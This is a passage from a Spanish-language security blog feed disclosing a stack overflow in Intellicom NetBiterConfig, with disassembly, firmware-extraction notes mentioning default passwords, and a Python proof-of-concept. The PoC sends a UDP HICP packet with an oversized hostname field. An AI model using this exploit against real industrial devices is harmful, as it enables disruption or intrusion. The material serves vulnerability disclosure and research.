.text:004256DF &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="kw1">cmp</span> &nbsp; &nbsp; <span class="kw3">cl</span>, <span class="kw3">bl</span><br />
.text:004256E1 &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="kw1">jz</span> &nbsp; &nbsp; &nbsp;<span class="kw4">short</span> loc_4256EB<br />
.text:004256E3 &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="kw1">dec</span> &nbsp; &nbsp; <span class="kw3">edi</span><br />
.text:004256E4 &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="kw1">jz</span> &nbsp; &nbsp; &nbsp;<span class="kw4">short</span> loc_4256EB<br />
.text:004256E6 &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="kw1">dec</span> &nbsp; &nbsp; <span class="br0">&#91;</span><span class="kw3">ebp</span>+arg_C<span class="br0">&#93;</span><br />
.text:004256E9 &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="kw1">jnz</span> &nbsp; &nbsp; <span class="kw4">short</span> loc_4256D9<br />
&nbsp;</div>
<p>Otra cosa interesante de los dispositivos de Intellicom es que nos permiten descargar el <a href="http://support.intellicom.se/getfile.cfm?FID=53&#038;FPID=85">firmware</a>. Este contiene una cabecera de 0x5F bytes donde se incluye un magic &#8216;NBU&#8217; seguido de un major and minor version estilo ZIP, el tamaño de la imagen y un checksum.</p>
<p>En el offset 0&#215;60 empieza un fichero gz tal cual, asi que si nos cepillamos la cabecera NBU podemos descomprimirlo sin más. Lo que nos queda es un .bin que es un linux para un Motorola ColdFire con muchas cosas interesantes, passwords por defecto incluidos&#8230;</p>
<p>En Shodan os podréis encontrar alguno de estos bichos. Vamos yo no lo he probado, eso me ha dicho un amigo.</p>
<p>Ale, fin</p>
<p>PoC para el fallo<br />
&#8212;&#8212;&#8212;&#8212;-</p>
<div class="dean_ch" style="white-space: wrap;">
<p><span class="co1">#!/usr/bin/python</span></p>
<p><span class="co1"># Intellicom NetBiterConfig.exe 1.3.0 Remote Stack Overwrite.</span><br />
<span class="co1"># Ruben Santamarta &#8211; www.reversemode.com</span><br />
<span class="co1"># For research purposes ONLY. </span><br />
<span class="co1"># If you use this code to cause damage I&#8217;ll cut you open like a f***ing pig.</span></p>
<p>
<span class="kw1">import</span> <span class="kw3">sys</span><br />
<span class="kw1">import</span> <span class="kw3">socket</span></p>
<p>s = <span class="kw3">socket</span>.<span class="kw3">socket</span><span class="br0">&#40;</span><span class="kw3">socket</span>.<span class="me1">AF_INET</span>,<span class="kw3">socket</span>.<span class="me1">SOCK_DGRAM</span><span class="br0">&#41;</span><br />
s.<span class="me1">connect</span><span class="br0">&#40;</span><span class="br0">&#40;</span><span class="st0">&quot;10.10.10.10&quot;</span>,<span class="nu0">3250</span><span class="br0">&#41;</span><span class="br0">&#41;</span><br />
s.<span class="me1">send</span><span class="br0">&#40;</span><span class="st0">&quot;protocol version = 1.10; &quot;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp;+<span class="st0">&quot;fb type = EVIL-DEVICE; &quot;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp;+<span class="st0">&quot;module version = 0.66.6; &quot;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp;+<span class="st0">&quot;mac = 00-30-11-00-BA-CA; &quot;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp;+<span class="st0">&quot;ip = 192.168.1.52; &quot;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp;+<span class="st0">&quot;sn = 255.255.255.0; &quot;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp;+<span class="st0">&quot;gw = 192.168.1.1; &quot;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp;+<span class="st0">&quot;dhcp = off; &quot;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp;+<span class="st0">&quot;pswd = off; &quot;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp;+<span class="st0">&quot;hn = &quot;</span>+<span class="st0">&quot;A&quot;</span>*0&#215;60+<span class="st0">&quot;; &quot;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp;+<span class="st0">&quot;dns1 = 192.168.1.33;&quot;</span><span class="br0">&#41;</span><br />
&nbsp;</div>
]]></content:encoded>
			<wfw:commentRss>http://blog.48bits.com/2009/12/12/exposing-hms-hicp-protocol-0day-light/feed/</wfw:commentRss>
		<slash:comments>7</slash:comments>
		</item>
	</channel>
</rss>
